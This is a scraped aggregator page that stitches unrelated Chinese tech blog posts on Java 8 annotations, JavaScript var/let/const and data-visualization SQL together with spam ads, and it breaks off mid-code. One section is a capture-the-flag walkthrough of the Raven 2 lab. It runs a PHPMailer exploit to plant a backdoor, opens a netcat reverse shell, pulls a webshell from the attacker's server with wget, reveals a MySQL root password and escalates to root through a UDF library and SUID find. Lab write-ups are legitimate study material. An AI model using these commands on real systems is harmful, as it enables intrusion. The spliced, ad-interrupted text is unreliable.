※教你寫出一流的銷售文案?

銷售文案是什麼？A文案是廣告用的文字。舉凡任何宣傳、行銷、販賣商品時所用到的文字都是文案。在網路時代，文案成為行銷中最重要的宣傳方式，好的文案可節省大量宣傳資源，達成行銷目的。

寫在前面

在Java8之前，在某個類或者方法，字段或者參數上標註註解時，同一個註解只能標註一次。但是在Java8中，新增了重複註解和類型註解，也就是說，從Java8開始，支持在某個類或者方法，字段或者參數上標註多個相同的註解。那麼，有讀者就會問了：如何實現呢？別急，往下看！文中不只是Java8中的註解。

JDK5中的註解

1.註解（@）

註解就相當於一種標記，在程序中加了註解就等於為程序加了某種標記。（JDK1.5新特性）。

2.作用

告訴javac編譯器或者java開發工具……向其傳遞某種信息，作為一個標記。

3.如何理解註解？

一個註解就是一個類。

標記可以加在包、類、字段、方法，方法參數以及局部變量上。可以同時存在多個註解。

每一個註解結尾都沒有“；”或者其他特別符號。

定義註解需要的基礎註解信息如下所示。

@SuppressWarnings("deprecation")  //編譯器警告過時（source階段）
@Deprecated						//過時（Runtime階段）
@Override						//重寫（source階段）
@Retention(RetentionPolicy.RUNTIME)	
//保留註解到程序運行時。（Runtime階段）
@Target({ElementType.METHOD,ElementType.TYPE})
//標記既能定義在方法上，又能定義在類、接口、枚舉上等。

注意：

1）添加註解需要有註解類。RetentionPolicy是一個枚舉類（有三個成員）。

2）Target中可以存放數組。它的默認值為任何元素。

• ElementType.METHOD：表示只能標記在方法上。
• ElementType.TYPE：表示只能標記定義在類上、接口上、枚舉上等

3）ElementType也是枚舉類。成員包括：ANNOTATION_TYPE（註解）、CONSTRUCTOR（構造方法）、FIEID（成員變量）、LOCAL_VARIABLE（變量）、METHOD（方法）、PACKAGE（包）、PARAMETER（參數）、TYPE。

4.關於註解

• 元註解：註解的註解（理解：給一個註解類再加註解）
• 元數據：數據的數據
• 元信息：信息的信息

5.註解分為三個階段

java源文件–> class文件 –> 內存中的字節碼。

Retention的註解有三種取值：(分別對應註解的三個階段)

• RetentionPolicy.SOURCE
• RetentionPolicy.CLASS
• RetentionPolicy.RUNTIME

注意：註解的默認階段是Class。

6.註解的屬性類型

原始類型（就是八個基本數據類型）、String類型、Class類型、數組類型、枚舉類型、註解類型。

7.為註解增加屬性

value：是一個特殊的屬性，若在設置值時只有一個value屬性需要設置或者其他屬性都採用默認值時 ，那麼value=可以省略，直接寫所設置的值即可。

例如：@SuppressWarnings("deprecation")

為屬性指定缺省值（默認值）：
例如：String value() default "blue"; //定義在註解類中

數組類型的屬性:
例如：int[] arrayArr() default {3,4,5,5};//定義在註解類中
SunAnnotation(arrayArr={3,9,8}) //設置數組值
注意:如果數組屬性中只有一個元素時，屬性值部分可以省略大括號。
例如：SunAnnotation(arrayArr=9)

枚舉類型的屬性：
例如：EnumDemo.TrafficLamp lamp()
////枚舉類型屬性, 定義在註解類中，這裏使用了自定義的枚舉類EnumDemo.java並沒有給出相關代碼，這裏只是舉個例子
default EnumDemo.TrafficLamp.RED;

註解類型的屬性：
例如：MetaAnnotation annotationAttr()
//定義在一個註解類中,並指定缺省值，
//此屬性關聯到註解類：MetaAnnotation.java, 
default @MetaAnnotation("lhm");
//設置註解屬性值
@SunAnnotation(annotationAttr=@MetaAnnotation("flx"))

Java8中的註解

對於註解（也被稱做元數據），Java 8 主要有兩點改進：類型註解和重複註解。

1.類型註解

1）Java 8 的類型註解擴展了註解使用的範圍。

在java 8之前，註解只能是在聲明的地方所使用，java8開始，註解可以應用在任何地方。

例如：

創建類實例

new @Interned MyObject();

類型映射

myString = (@NonNull String) str;

implements 語句中

class UnmodifiableList<T> implements@Readonly List<@Readonly T> { ... }

throw exception聲明

void monitorTemperature() throws@Critical TemperatureException { ... }

注意：

在Java 8裏面，當類型轉化甚至分配新對象的時候，都可以在聲明變量或者參數的時候使用註解。
Java註解可以支持任意類型。

類型註解只是語法而不是語義，並不會影響java的編譯時間，加載時間，以及運行時間，也就是說，編譯成class文件的時候並不包含類型註解。

2）新增ElementType.TYPE_USE 和ElementType.TYPE_PARAMETER（在Target上）

新增的兩個註釋的程序元素類型 ElementType.TYPE_USE 和 ElementType.TYPE_PARAMETER用來描述註解的新場合。

• ElementType.TYPE_PARAMETER 表示該註解能寫在類型變量的聲明語句中。
• ElementType.TYPE_USE 表示該註解能寫在使用類型的任何語句中（例如：聲明語句、泛型和強制轉換語句中的類型）。

例如，下面的示例。

@Target({ElementType.TYPE_PARAMETER, ElementType.TYPE_USE})
@interface MyAnnotation {}

3)類型註解的作用

類型註解被用來支持在Java的程序中做強類型檢查。配合第三方插件工具Checker Framework（注：此插件so easy,這裏不介紹了），可以在編譯的時候檢測出runtime error（例如：UnsupportedOperationException； NumberFormatException；NullPointerException異常等都是runtime error），以提高代碼質量。這就是類型註解的作用。

注意：使用Checker Framework可以找到類型註解出現的地方並檢查。

※別再煩惱如何寫文案,掌握八大原則!

什麼是銷售文案服務？A就是幫你撰寫適合的廣告文案。當您需要販售商品、宣傳活動、建立個人品牌，撰寫廣告文案都是必須的工作。

例如下面的代碼。

import checkers.nullness.quals.*;
public class TestDemo{
    void sample() {
        @NonNull Object my = new Object();
    }
}

使用javac編譯上面的類：（當然若下載了Checker Framework插件就不需要這麼麻煩了）

javac -processor checkers.nullness.NullnessChecker TestDemo.java

上面編譯是通過的，但若修改代碼：

@NonNull Object my = null;

但若不想使用類型註解檢測出來錯誤，則不需要processor，正常javac TestDemo.java是可以通過編譯的，但是運行時會報 NullPointerException 異常。

為了能在編譯期間就自動檢查出這類異常，可以通過類型註解結合 Checker Framework 提前排查出來錯誤異常。

注意java 5,6,7版本是不支持註解@NonNull，但checker framework 有個向下兼容的解決方案，就是將類型註解@NonNull 用/**/註釋起來。

import checkers.nullness.quals.*;
public class TestDemo{
    void sample() {
        /*@NonNull*/ Object my = null;
    }
}

這樣javac編譯器就會忽略掉註釋塊，但用checker framework裏面的javac編譯器同樣能夠檢測出@NonNull錯誤。
通過 類型註解 + checker framework 可以在編譯時就找到runtime error。

2.重複註解

允許在同一聲明類型（類，屬性，或方法）上多次使用同一個註解。

Java8以前的版本使用註解有一個限制是相同的註解在同一位置只能使用一次，不能使用多次。

Java 8 引入了重複註解機制，這樣相同的註解可以在同一地方使用多次。重複註解機制本身必須用 @Repeatable 註解。

實際上，重複註解不是一個語言上的改變，只是編譯器層面的改動，技術層面仍然是一樣的。

例如，我們可以使用如下示例來具體對比Java8之前的版本和Java8中的註解。

1）自定義一個包裝類Hints註解用來放置一組具體的Hint註解

@interface MyHints {
    Hint[] value();
}
 
@Repeatable(MyHints.class)
@interface Hint {
    String value();
}

使用包裝類當容器來存多個註解（舊版本方法）

@MyHints({@Hint("hint1"), @Hint("hint2")})
class Person {}

使用多重註解（新方法）

@Hint("hint1")
@Hint("hint2")
class Person {}

2)完整類測試如下所示。

public class RepeatingAnnotations {
    @Target(ElementType.TYPE)
    @Retention(RetentionPolicy.RUNTIME)
    public @interface Filters {
        Filter[] value();
    }
    
    @Target(ElementType.TYPE)
    @Retention(RetentionPolicy.RUNTIME)
    @Repeatable(Filters.class)
    public @interface Filter {
        String value();
    }
    @Filter("filter1")
    @Filter("filter2")
    public interface Filterable {
    }
    public static void main(String[] args) {
        for (Filter filter : Filterable.class.getAnnotationsByType(Filter.class)) {
            System.out.println(filter.value());
        }
    }
}

輸出結果：

filter1
filter2

分析：

註釋Filter被@Repeatable( Filters.class )註釋。Filters 只是一個容器，它持有Filter, 編譯器儘力向程序員隱藏它的存在。通過這樣的方式，Filterable接口可以被Filter註釋兩次。

另外，反射的API提供一個新方法getAnnotationsByType() 來返回重複註釋的類型（注意Filterable.class.getAnnotation( Filters.class )將會返回編譯器注入的Filters實例。

3）java 8之前也有重複使用註解的解決方案，但可讀性不好。

public @interface MyAnnotation {  
     String role();  
}  
 
public @interface Annotations {  
    MyAnnotation[] value();  
}  
 
public class RepeatAnnotationUseOldVersion {  
    @Annotations({@MyAnnotation(role="Admin"),@MyAnnotation(role="Manager")})  
    public void doSomeThing(){  
    }  
}

Java8的實現方式（由另一個註解來存儲重複註解，在使用時候，用存儲註解Authorities來擴展重複註解），可讀性更強。

@Repeatable(Annotations.class) 
public @interface MyAnnotation {  
     String role();  
}  
 
public @interface Annotations {  
    MyAnnotation[] value();  
}  
 
public class RepeatAnnotationUseOldVersion {  
	@MyAnnotation(role="Admin")  
    @MyAnnotation(role="Manager")
    public void doSomeThing(){  
    }  
} 

什麼？沒看懂？那就再來一波！！！

Java8對註解的增強

Java 8對註解處理提供了兩點改進：可重複的註解及可用於類型的註解。總體來說，比較簡單，下面，我們就以實例的形式來說明Java8中的重複註解和類型註解。

首先，我們來定義一個註解類BingheAnnotation，如下所示。

package io.mykit.binghe.java8.annotition;

import java.lang.annotation.*;

/**
 * @author binghe
 * @version 1.0.0
 * @description 定義註解
 */
@Repeatable(BingheAnnotations.class)
@Target({ElementType.TYPE, ElementType.FIELD, ElementType.METHOD, ElementType.PARAMETER, ElementType.CONSTRUCTOR, ElementType.LOCAL_VARIABLE,ElementType.TYPE_PARAMETER})
@Retention(RetentionPolicy.RUNTIME)
public @interface BingheAnnotation {
    String value();
}

注意：在BingheAnnotation註解類上比普通的註解多了一個@Repeatable(BingheAnnotations.class)註解，有小夥伴會問：這個是啥啊？這個就是Java8中定義可重複註解的關鍵，至於BingheAnnotations.class，大家別急，繼續往下看就明白了。

接下來，咱們定義一個BingheAnnotations註解類，如下所示。

package io.mykit.binghe.java8.annotation;

import java.lang.annotation.*;

/**
 * @author binghe
 * @version 1.0.0
 * @description 定義註解
 */
@Target({ElementType.TYPE, ElementType.FIELD, ElementType.METHOD, ElementType.PARAMETER, ElementType.CONSTRUCTOR, ElementType.LOCAL_VARIABLE,ElementType.TYPE_PARAMETER})
@Retention(RetentionPolicy.RUNTIME)
public @interface BingheAnnotations {
    BingheAnnotation[] value();
}

看到這裏，大家明白了吧！！沒錯，BingheAnnotations也是一個註解類，它相比於BingheAnnotation註解類來說，少了一個@Repeatable(BingheAnnotations.class)註解，也就是說，BingheAnnotations註解類的定義與普通的註解幾乎沒啥區別。值得注意的是，我們在BingheAnnotations註解類中，定義了一個BingheAnnotation註解類的數組，也就是說，在BingheAnnotations註解類中，包含有多個BingheAnnotation註解。所以，在BingheAnnotation註解類上指定@Repeatable(BingheAnnotations.class)來說明可以在類、字段、方法、參數、構造方法、參數上重複使用BingheAnnotation註解。

接下來，我們創建一個Binghe類，在Binghe類中定義一個init()方法，在init方法上，重複使用@BingheAnnotation註解指定相應的數據，如下所示。

package io.mykit.binghe.java8.annotation;

/**
 * @author binghe
 * @version 1.0.0
 * @description 測試註解
 */
@BingheAnnotation("binghe")
@BingheAnnotation("class")
public class Binghe {

    @BingheAnnotation("init")
    @BingheAnnotation("method")
    public void init(){

    }
}

到此，我們就可以測試重複註解了，創建類BingheAnnotationTest，對重複註解進行測試，如下所示。

package io.mykit.binghe.java8.annotation;

import java.lang.reflect.Method;
import java.util.Arrays;

/**
 * @author binghe
 * @version 1.0.0
 * @description 測試註解
 */
public class BingheAnnotationTest {

    public static void main(String[] args) throws NoSuchMethodException {
        Class<Binghe> clazz = Binghe.class;
        BingheAnnotation[] annotations = clazz.getAnnotationsByType(BingheAnnotation.class);
        System.out.println("類上的重複註解如下：");
        Arrays.stream(annotations).forEach((a) -> System.out.print(a.value() + " "));

        System.out.println();
        System.out.println("=============================");

        Method method = clazz.getMethod("init");
        annotations = method.getAnnotationsByType(BingheAnnotation.class);
        System.out.println("方法上的重複註解如下：");
        Arrays.stream(annotations).forEach((a) -> System.out.print(a.value() + " "));
    }
}

運行main()方法，輸出如下的結果信息。

類上的重複註解如下：
binghe class 
=============================
方法上的重複註解如下：
init method 

寫在最後

如果覺得文章對你有點幫助，請微信搜索並關注「 冰河技術 」微信公眾號，跟冰河學習Java8新特性。

最後，附上Java8新特性核心知識圖，祝大家在學習Java8新特性時少走彎路。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

※廣告預算用在刀口上，台北網頁設計公司幫您達到更多曝光效益

擁有後台管理系統的網站，將擁有強大的資料管理與更新功能，幫助您隨時新增網站的內容並節省網站開發的成本。

※想知道最厲害的網頁設計公司嚨底家"!

RWD（響應式網頁設計）是透過瀏覽器的解析度來判斷要給使用者看到的樣貌

前言

近幾天比較閑，在上周也閑着無聊跑去盒子挖了一周的洞。這周又開始不知道幹些啥了，所以就找個靶機來玩玩。

Raven 2 靶機滲透

搭建完環境后，發現並沒有登錄賬號和密碼，使用御劍高速掃描，先掃描機器的ip和端口，看看有沒有啥能利用到的。

發現了192.168.27.136 ip 並且80端口和22端口是開啟的，首先先從80端口，嘗試 來嘗試掃描目錄。

掃描目錄時，發現了/vendor/目錄並且有個wordpress 這時候就可以來嘗試一下wp的漏洞了，直接上wpscan 來掃描，沒有就放棄。

連接超時！！！ 果斷放棄！！！

但是作為一個年輕小伙子怎麼能說放棄，要堅持！！！[手動狗頭][手動狗頭]

翻找一下剛剛的目錄看看還能不能找到啥東西，當我點開/vendor/目錄的時候，發現存在一個目錄遍歷漏洞。

點開readme.md 發現是個PHPMailer

由於以前也沒見過，上百度查了一下才知道是個發送电子郵件的函數包。

去百度查找了一下 居然有命令執行漏洞。

為了方便，直接就在kali裏面的漏洞庫去查找exp

searchsploit phpmailer

這裡有好幾個exp，但是也不能一個一個去試，利用條件不一樣，還得去查找的他版本。
在我開啟vendor/version文件的時候，直接就显示了版本

確定版本后就可以直接下載exp了，

searchsploit -m 40974.py

首先查看一下代碼。

這裏的garget 和socket的connect的ip需要修改還有需要修改的是email字典後面的路徑，這個是寫入地址的絕對路徑。

那麼我們還需要查找他的絕對路徑。

http://192.168.27.136/vendor/PATH

文件裏面查找到了路徑，而且拿下了一個flag。

這裏並不打算去拿flag，而是直接拿權限[手動滑稽][手動滑稽]。

現在就可以開始來改我們的exp了

這裏把target改成了

http://192.168.27.136/contact.php
這個漏洞是基於contact.php的頁面產生的漏洞，所以地址得帶上這個頁面。

在運行exp的時候，py爆了個錯誤，說我的編碼有錯誤，我立馬在頭部加了一個utf-8的默認編碼方式，但是依然不行，肯定是這個工具啟動提示的時候，輸出了特殊字符所以才會這樣，把它刪掉就好了[手動滑稽][手動滑稽]。

這裏直接就執行成功，我們去訪問contact.php就會生成一個backdoor.php，訪問后可以直接反彈shell了
kali啟動一個nc監聽

nc -lvp 4444

訪問backdoor.php 反彈成功

nc 模式的shell不支持su交互，使用py進入到偽終端

python -c “import pty;pty.spawn(‘/bin/bash’)”

輸入whoami發現，是個www的權限，權限比較低，還需要進行提權的操作，先來查看一下開放的端口

netstat -ano

發現他的3306端口是開放的，mysql 5.6以下的默認安裝為system權限或者是root權限。這裏嘗試使用udf提權，先來翻找他的mysql密碼，
一般網站需要對數據庫進行查詢操作的話都是需要連接數據庫的，基本上都會去包含數據庫的連接文件，而數據庫連接文件一般命名為config.inc.php,config.php。
這裏就來找一下，進入wordpress目錄看到wp-config.php來查看一下。

翻找到了root賬號的密碼為：

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

當全世界的人們隨著網路時代而改變向上時您還停留在『網站美醜不重要』的舊有思維嗎？機會是留給努力改變現況的人們，別再浪費一分一秒可以接觸商機的寶貴時間！

R@v3nSecurity

然後就可以嘗試去udf提權，但是我這嫌nc比較麻煩，所以還是寫入一個一句話木馬。

echo “

寫入的時候發現post被過濾掉了，後來嘗試get和requsts也是一樣。

那麼就直接換個思路，直接讓他去請求遠程的文件進行下載

放在服務器上面的時候，不能一腳本格式進行上傳，不然腳本會直接運行，將他命名為cmd.txt文件，然後搭建臨時web服務

php -S 0.0.0.0:88 -t /root

使用php啟動web服務 設置根目錄為root

wget http://192.168.3.68:88/cmd.txt

請求文件

mv cmd.txt cmd.php
把文件改名為php後綴，然後使用蟻劍進行連接。

連接成功后，使用管理數據功能，進行mysql連接，查詢mysql版本信息。

這裏還有幾個注意事項，在mysql 4.1版本前任何的dll文件的函數都能導入到mysql裏面去讓mysql調用，
mysql 4.1-5.0 版本中，對註冊的dll位置做了限制，創建函數時候對應的dll不能包含斜杠或者反斜杠，
不能是絕對路徑，所以會將dll導出到systm32目錄下，去繞過這個限制。
在mysql5.1版本后，創建函數的dll只能放在mysql的plugin目錄下，也就是插件目錄

使用mysql語句來查看plugin目錄位置

show variables like ‘%plugin%’;

現在我們還得下載一個linux版本的udf

searchsploit udf

searchsploit -m 1518.c

從漏洞庫把udf下載下來后，是個c文件還得使用gcc進行編譯后才能使用

gcc -g -c 1518.c

gcc -g -shared -o udf.so 1518.o -lc

編譯完成后，使用wget遠程下載

wget http://192.168.3.68:88/udf.so

數據庫創建表：

create table nice(line blob);

表中插入udf.so的數據

insert into nice values(load_file(‘/var/www/html/udf.so’));

插入完成后，再使用sql語句從nice表中導出數據到plugin目錄下

select * from nice into dumpfile ‘/usr/lib/mysql/plugin/udf.so’;

導出完成后，這裏就可以直接創建一個函數，來進行執行命令了

create function do_system returns integer soname ‘udf.so’;

創建完成后可以查詢是否創建成功

select * from mysql.func;

select do_system(‘chmod u+s /usr/bin/find’);

touch finn

find finn -exec “/bin/sh” ;

whoami

提權成功。

cat flag4.txt

[手動狗頭][手動狗頭]flag真香

結尾

最近這感冒了，很難受，幹啥都沒精力，我想我還是需要妹子來溫暖我的心

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

透過資料庫的網站架設建置，建立公司的形象或購物系統，並提供最人性化的使用介面，讓使用者能即時接收到相關的資訊

※網頁設計公司推薦不同的風格，搶佔消費者視覺第一線

透過選單樣式的調整、圖片的縮放比例、文字的放大及段落的排版對應來給使用者最佳的瀏覽體驗，所以不用擔心有手機版網站兩個後台的問題，而視覺效果也是透過我們前端設計師優秀的空間比例設計，不會因為畫面變大變小而影響到整體視覺的美感。

目錄

• 序言
• var 與 let 的區別
  • 作用域
  • 重複聲明
  • 綁定全局對象
  • 變量提升與暫存死區
• let 與 const 異同
• 參考

1.序言

var、let 和 const 都是 JavaScript 中用來聲明變量的關鍵字，並且 let 和 const 關鍵字是在 ES6 中才新增的。既然都是用來聲明變量的，那它們之間有什麼區別呢？讓我們來一探究竟。

2.var 與 let 的區別

（1）作用域

用 var 聲明的變量的作用域是它當前的執行上下文，即如果是在任何函數外面，則是全局執行上下文，如果在函數裏面，則是當前函數執行上下文。換句話說，var 聲明的變量的作用域只能是全局或者整個函數塊的。

而 let 聲明的變量的作用域則是它當前所處代碼塊，即它的作用域既可以是全局或者整個函數塊，也可以是 if、while、switch等用{}限定的代碼塊。

另外，var 和 let 的作用域規則都是一樣的，其聲明的變量只在其聲明的塊或子塊中可用。

示例代碼：

function varTest() {
  var a = 1;

  {
    var a = 2; // 函數塊中，同一個變量
    console.log(a); // 2
  }

  console.log(a); // 2
}

function letTest() {
  let a = 1;

  {
    let a = 2; // 代碼塊中，新的變量
    console.log(a); // 2
  }

  console.log(a); // 1
}

varTest();
letTest();

從上述示例中可以看出，let 聲明的變量的作用域可以比 var 聲明的變量的作用域有更小的限定範圍，更具靈活。

（2）重複聲明

var 允許在同一作用域中重複聲明，而 let 不允許在同一作用域中重複聲明，否則將拋出異常。

var 相關示例代碼：

var a = 1;
var a = 2;

console.log(a) // 2

function test() {
  var a = 3;
  var a = 4;
  console.log(a) // 4
}

test()

let 相關示例代碼：

if(false) {
  let a = 1;
  let a = 2; // SyntaxError: Identifier 'a' has already been declared
}

switch(index) {
  case 0:
    let a = 1;
  break;

  default:
    let a = 2; // SyntaxError: Identifier 'a' has already been declared
    break;
}

從上述示例中可以看出，let 聲明的重複性檢查是發生在詞法分析階段，也就是在代碼正式開始執行之前就會進行檢查。

（3）綁定全局對象

var 在全局環境聲明變量，會在全局對象里新建一個屬性，而 let 在全局環境聲明變量，則不會在全局對象里新建一個屬性。

示例代碼：

var foo = 'global'
let bar = 'global'

console.log(this.foo) // global
console.log(this.bar) // undefined

那這裏就一個疑問， let 在全局環境聲明變量不在全局對象的屬性中，那它是保存在哪的呢？

var foo = 'global'
let bar = 'global'

function test() {}

console.dir(test)

在Chrome瀏覽器的控制台中，通過執行上述代碼，查看 test 函數的作用域鏈，其結果如圖：

由上圖可知，let 在全局環境聲明變量 bar 保存在[[Scopes]][0]: Script這個變量對象的屬性中，而[[Scopes]][1]: Global就是我們常說的全局對象。

（4）變量提升與暫存死區

var 聲明變量存在變量提升，如何理解變量提升呢？

要解釋清楚這個，就要涉及到執行上下文和變量對象。

在 JavaScript 代碼運行時，解釋執行全局代碼、調用函數或使用 eval 函數執行一個字符串表達式都會創建並進入一個新的執行環境，而這個執行環境被稱之為執行上下文。因此執行上下文有三類：全局執行上下文、函數執行上下文、eval 函數執行上下文。

執行上下文可以理解為一個抽象的對象，如下圖：

Variable object：變量對象，用於存儲被定義在執行上下文中的變量 (variables) 和函數聲明 (function declarations) 。

Scope chain：作用域鏈，是一個對象列表 (list of objects) ，用以檢索上下文代碼中出現的標識符 (identifiers) 。

thisValue：this 指針，是一個與執行上下文相關的特殊對象，也被稱之為上下文對象。

一個執行上下文的生命周期可以分為三個階段：創建、執行、釋放。如下圖：

※南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

搬家費用：依消費者運送距離、搬運樓層、有無電梯、步行距離、特殊地形、超重物品等計價因素後，評估每車次單

而所有使用 var 聲明的變量都會在執行上下文的創建階段時作為變量對象的屬性被創建並初始化，這樣才能保證在執行階段能通過標識符在變量對象里找到對應變量進行賦值操作等。

而用 var 聲明的變量構建變量對象時進行的操作如下：

• 由名稱和對應值（undefined）組成一個變量對象的屬性被創建（創建並初始化）
• 如果變量名稱跟已經聲明的形式參數或函數相同，則變量聲明不會幹擾已經存在的這類屬性。

上述過程就是我們所謂的“變量提升”，這也就能解釋為什麼變量可以在聲明之前使用，因為使用是在執行階段，而在此之前的創建階段就已經將聲明的變量添加到了變量對象中，所以執行階段通過標識符可以在變量對象中查找到，也就不會報錯。

示例代碼：

console.log(a) // undefined

var a = 1;

console.log(a) // 1

let 聲明變量存在暫存死區，如何理解暫存死區呢？

其實 let 也存在與 var 類似的“變量提升”過程，但與 var 不同的是其在執行上下文的創建階段，只會創建變量而不會被初始化（undefined），並且 ES6 規定了其初始化過程是在執行上下文的執行階段（即直到它們的定義被執行時才初始化），使用未被初始化的變量將會報錯。

let and const declarations define variables that are scoped to the running execution context’s LexicalEnvironment. The variables are created when their containing Lexical Environment is instantiated but may not be accessed in any way until the variable’s LexicalBinding is evaluated. A variable defined by a LexicalBinding with an Initializer is assigned the value of its Initializer’s AssignmentExpression when the LexicalBinding is evaluated, not when the variable is created. If a LexicalBinding in a let declaration does not have an Initializer the variable is assigned the value undefined when the LexicalBinding is evaluated.

在變量初始化前訪問該變量會導致 ReferenceError，因此從進入作用域創建變量，到變量開始可被訪問的一段時間（過程），就稱為暫存死區(Temporal Dead Zone)。

示例代碼 1：

console.log(bar); // undefined
console.log(foo); // ReferenceError: foo is not defined

var bar = 1;
let foo = 2;

示例代碼 2：

var foo = 33;
{
  let foo = (foo + 55); // ReferenceError: foo is not defined
}

注：首先，需要分清變量的創建、初始化、賦值是三個不同的過程。另外，從 ES5 開始用詞法環境（Lexical Environment）替代了 ES3 中的變量對象（Variable object）來管理靜態作用域，但作用是相同的。為了方便理解，上述講解中仍保留使用變量對象來進行描述。

小結

1. var 聲明的變量在執行上下文創建階段就會被「創建」和「初始化」，因此對於執行階段來說，可以在聲明之前使用。

2. let 聲明的變量在執行上下文創建階段只會被「創建」而不會被「初始化」，因此對於執行階段來說，如果在其定義執行前使用，相當於使用了未被初始化的變量，會報錯。

3.let 與 const 異同

const 與 let 很類似，都具有上面提到的 let 的特性，唯一區別就在於 const 聲明的是一個只讀變量，聲明之後不允許改變其值。因此，const 一旦聲明必須初始化，否則會報錯。

示例代碼：

let a;
const b = "constant"

a = "variable"
b = 'change' // TypeError: Assignment to constant variable

如何理解聲明之後不允許改變其值？

其實 const 其實保證的不是變量的值不變，而是保證變量指向的內存地址所保存的數據不允許改動（即棧內存在的值和地址）。

JavaScript 的數據類型分為兩類：原始值類型和對象（Object類型）。

對於原始值類型（undefined、null、true/false、number、string），值就保存在變量指向的那個內存地址（在棧中），因此 const 聲明的原始值類型變量等同於常量。

對於對象類型（object，array，function等），變量指向的內存地址其實是保存了一個指向實際數據的指針，所以 const 只能保證指針是不可修改的，至於指針指向的數據結構是無法保證其不能被修改的（在堆中）。

示例代碼：

const obj = {
  value: 1
}

obj.value = 2

console.log(obj) // { value: 2 }

obj = {} // TypeError: Assignment to constant variable

4.參考

var – JavaScript | MDN

let – JavaScript – MDN – Mozilla

const – JavaScript – MDN – Mozilla

深入理解JavaScript系列（12）：變量對象（Variable Object）

ES6 let 與 const

詳解ES6暫存死區TDZ

嗨，你知道 let 和 const 嗎？

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

節能減碳愛地球是景泰電動車的理念，是創立景泰電動車行的初衷，滿意態度更是服務客戶的最高品質，我們的成長來自於你的推薦。

※超省錢租車方案

商務出差、學生出遊、旅遊渡假、臨時用車!GO 神州租賃有限公司!合法經營、合法連鎖、合法租賃小客車!

本文源碼：GitHub·點這裏 || GitEE·點這裏

一、數據可視化

1、基礎概念

數據可視化，是關於數據視覺表現形式的科學技術研究。其中，這種數據的視覺表現形式被定義為，一種以某種概要形式抽取出來的信息，包括相應信息單位的各種屬性和變量。

如果說的實際貼切的話：系統開發中常見的數據報表統計，將數據用圖表或表格的形式呈現出來，幫助運營或者決策人員了解這些數據的規律或者價值，就是簡單的可視化應用。

從開發角度來看，把系統中的核心數據，用一定的手段進行統計，在藉助一些精美的圖表樣式，展示出來，或者把一系列圖表組裝成一個數據大屏，格調十足。

但是從運營人員的角度看，更多的是藉助可視化數據分析業務場景，得到有價值的參考數據，為後續的決策或者開展活動提供指導。所以隨着業務線的不斷髮展，對數據分析的要求越來越高，也就誕生現在比較常見的BI分析工具和BI分析師。

2、數據可視化價值

• 準確高效直觀的傳遞傳遞數據中的規律和信息；
• 實時監控系統各項數據指標，實現數據的自解釋；
• 基於可視化洞察數據規律，指定精準的運營策略；

3、基礎構建原則

簡單的步驟如下：基於業務需求，完成可視化數據處理（收集，規則，定時任務等）。藉助常用的圖表進行組合展示，但是也有一些注意事項如下：

• 可視化的數據要關聯核心的有業務價值的數據；
• 圖表的展現注意簡單，明了，圖表的本質就是讓數據更直觀；
• 不要為了追求系統花哨，可以大批量添加圖表；

二、常用圖表設計

1、常見基礎圖表

柱狀圖

特點：一般展現分組數據，直觀展示各組數據差異，例如常見以每周，每月，或者不同客戶端劃分為軸的數據。

折線圖

特點：重點展現數據的變化趨勢，常見以時間為軸，展示時間下的數據趨勢。

餅狀圖

特點：不注重數據明細，強調數據中各項佔總體的百分比，或者分佈情況，注重模塊模塊之間的對比。

漏斗圖

特點：強調數據之間的轉化關係和遞進規律，經典常見就是用戶瀏覽量，點擊量，到訂單支付數量。

組合圖

特點：多種基礎圖表組合，某些特殊業務數據，需要結合兩種圖或者更多種圖表，強調裝載該業務報表的關鍵組合信息。

2、數據大屏

顧名思義，放在大屏幕的報表，一般有多種豐富的業務數據，自然需要多種報表展現形式，比較有立體感和視覺上的衝擊力。

絮叨一句：數據大屏在更多時候所追求的是讓人印象深刻，這才是最關鍵的，懂的都懂。

三、常用統計方式

1、SQL分析語句

在報表類業務中，經常使用SQL分析語句，常用的幾個方法：

※廣告預算用在刀口上，台北網頁設計公司幫您達到更多曝光效益

有別於一般網頁架設公司，除了模組化的架站軟體，我們的營業主軸還包含：資料庫程式開發、網站建置、網頁設計、電子商務專案開發、系統整合、APP設計建置、專業網路行銷。

• count：數據求和，求總數，例如多少用戶；
• sum：求和函數，例如總銷量，總成本等；
• group-by：分組統計，分組結果就是軸標識；
• average：平均值計算，例如平均每天銷量；

業務類的報表雖然複雜，但是報表相關的數據接口相對而言簡單，基於一些基礎的統計SQL，生成報表數據。

2、基礎案例

產品和緯度表

CREATE TABLE `vc_product_info` (
  `id` int(11) NOT NULL AUTO_INCREMENT COMMENT '主鍵ID',
  `product_sort` varchar(20) DEFAULT '' COMMENT '產品分類',
  `product_name` varchar(50) DEFAULT '' COMMENT '產品名稱',
  `inventory` int(11) DEFAULT '0' COMMENT '庫存剩餘',
  `price` decimal(10,2) DEFAULT '0.00' COMMENT '單價',
  `total_sales` int(11) DEFAULT '0' COMMENT '銷售總量',
  `sales_amount` decimal(10,2) DEFAULT '0.00' COMMENT '銷售總額',
  `create_time` datetime DEFAULT NULL COMMENT '創建時間',
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='產品信息表';

CREATE TABLE `vc_product_detail` (
	`id` INT (11) NOT NULL AUTO_INCREMENT COMMENT '主鍵ID',
	`product_id` INT (11) NOT NULL COMMENT '產品ID',
	`place_origin` VARCHAR (50) DEFAULT '' COMMENT '產品產地',
	`weight` DECIMAL (10, 2) DEFAULT '0.00' COMMENT '重量',
	`color` VARCHAR (50) DEFAULT '' COMMENT '顏色',
	`high_praise` INT (11) DEFAULT '0' COMMENT '好評數量',
	`low_praise` INT (11) DEFAULT '0' COMMENT '差評數量',
	`create_time` datetime DEFAULT NULL COMMENT '創建時間',
	PRIMARY KEY (`id`)
) ENGINE = INNODB DEFAULT CHARSET = utf8 COMMENT = '產品維度表';

基礎查詢語句

<mapper namespace="com.visual.chart.mapper.ProductInfoMapper">

    <!-- 商品種類 -->
    <select id="countNum" resultType="java.lang.Integer">
        SELECT COUNT(product_name) FROM vc_product_info
    </select>

    <!-- 銷售總額度 -->
